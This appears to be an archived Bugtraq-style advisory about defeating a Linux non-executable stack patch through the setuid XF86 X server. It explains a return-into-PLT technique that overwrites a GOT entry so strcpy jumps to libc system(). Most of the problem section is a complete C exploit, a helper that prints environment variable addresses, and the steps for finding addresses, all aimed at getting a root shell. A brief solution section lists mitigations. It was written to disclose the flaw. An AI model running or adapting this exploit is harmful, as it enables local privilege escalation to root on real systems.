COMMAND

    XF86 Xserver

SYSTEMS AFFECTED

    Linux

PROBLEM

    Remember lpr #5 or xrm  exploit on Linux page (Security  Bugware).
    It  was  Solar  Designer's  piece  of  work  and  as  fix  he gave
    non-executable stack  patch.   Rafal Wojtczuk  posted following on
    subject  of  defeating  Solar  Designer non-executable stack patch
    (and  making  exploits).   Note  that  whole  message  will not be
    presented here (check http://www.geek-girl.com/bugtraq/ for more).
    This is second part that started with Server #1.

    We will fill a buffer with a pattern:

    -----------------------------------------
    | STRCPY | STRCPY | PLTENT-offset | SRC |
    -----------------------------------------

    STRCPY is again a  PLT entry for strcpy,  PLTENT is an address  of
    integer in GOT referenced by strcpy PLT entry and SRC is a pointer
    into env variable.

    How does it work  ? We need to  hit return placeholder with  first
    STRCPY.   SRC contents  will overwrite  GOT entry  so that it will
    contain address  of libc  "system" procedure.  Second return  into
    STRCPY will  execute "system"  (because instruction  jmp *gotentry
    references place  in memory  we have  just altered)  with argument
    SRC.   Well,  extreme  precision  is  required  here,  because  we
    overwrite linker vital internal structures. First, SRC has to be a
    valid filename (starting with /tmp/xxxx, for instance). SRC's last
    3 bytes must be the lowest 3 bytes of "system" procedure  address.
    Zero terminating SRC will complete  the address.  Second, we  need
    the exact address of SRC - src=&src certainly will not suffice.

    So,we start gathering info. We already have STRCPY; to obtain  GOT
    integer, we need to disass strcpy with gdb. From /proc/pid/maps we
    can  extract  address  where  libc  is mapped; to compute "system"
    addres, we need to add its offset in libc.

        $ nm /lib/libc.so.5.3.12 | grep system
        0007ec7c T svcerr_systemerr
        00081d7c T system             <---- that's the number we need

    Now we  compile the  following code  (remember, /tmp/qq  is a prog
    that makes a setuid shell or  anything you find useful to do  with
    euid 0).

    /*
     Exploit no 2 for Solar Designer patch
     by nergal@icm.edu.pl
     This code is meant for educational and entertaining purposes only.
     You can distribute it freely provided credits are given.
    */

    #include <stdio.h>

    #define BUFFER_SIZE                     370
    #define EGG_SIZE                        100

    #define STRCPY                          0x08066a18
    #define PLTENT                          0x0822f924
    #define SYSTEM                          (0x00123000+0x81d7c)
    #define SRC                             0xbfffffe6

    char buf[BUFFER_SIZE];
    char egg[EGG_SIZE];
    char pattern[16];

    char prefix[] = "/tmp/xxxxxxx";
    char path[200];
    char command[200];

    void main(int argc, char **argv)
    {
            int i, align = 3;
            char *envs[2] = {egg, 0};

            if (argc == 2)
                    align = atoi(argv[1]);

            *(int *) pattern = STRCPY;
            *(int *) (pattern + 4) = STRCPY;
            *(int *) (pattern + 8) = PLTENT - strlen(prefix);
            *(int *) (pattern + 12) = SRC;
            for (i = 0; i <= 15; i++)
                    if (pattern[i] == 0) {
                            printf("zero in pattern (%i)\n", i);
                            exit(1);
                    }
            if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 0x000000ff)) {
                    printf("zero in system\n");
                    exit(1);
            }

            memset(buf, ' ', BUFFER_SIZE);
            buf[BUFFER_SIZE - 1] = 0;
            buf[0] = ':';
            buf[1] = '9';
            for (i = align; i < BUFFER_SIZE - 16; i += 16)
                    memcpy(buf + i, pattern, 16);

            strcpy(path, prefix);
            *(int *) (path + strlen(path)) = SYSTEM;
            sprintf(egg, "EGG=%s", path);
            sprintf(command, "cp /tmp/qq %s", path);
            system(command);
            execle("./qwe", "X", buf, "-nolock", 0, envs);
            perror("execl");
    }

    You've read the code?   Wonder what ./qwe is for?  Right. Remember
    we  need  exact  address  of  /tmp/xxxxxxxsomething in memory. So,
    first make ./qwe a symlink to the following program:

    /*
     envi.c - displays addresses of all env variables
    */
    #include <stdio.h>
    extern char ** environ;
    main()
    {
            char ** p=environ;
            printf("environ=0x%x\n",p);
            while (*p)
            {
                    printf("0x%x %s\n",*p,*p);
                    p++;
            }
    }

    Note  down  address  of  /tmp/xxxxsomething  in  EGG variable (NOT
    address  of  EGG=...,  but  address  of /tmp/xxxx...; you must add
    strlen("EGG=") to the number envi.c produces ).  Correct the value
    of SRC in  exploit.  Than  make ./qwe symlink  to /usr/X11R6/bin/X
    and run exploit again.

SOLUTION

    Well, if

        a) we can protect data segments from being executed
        b) we force LD_BIND_NOW - like dynamic linking, which  enables
           us to mprotect GOT non-writable

    exploit will fail.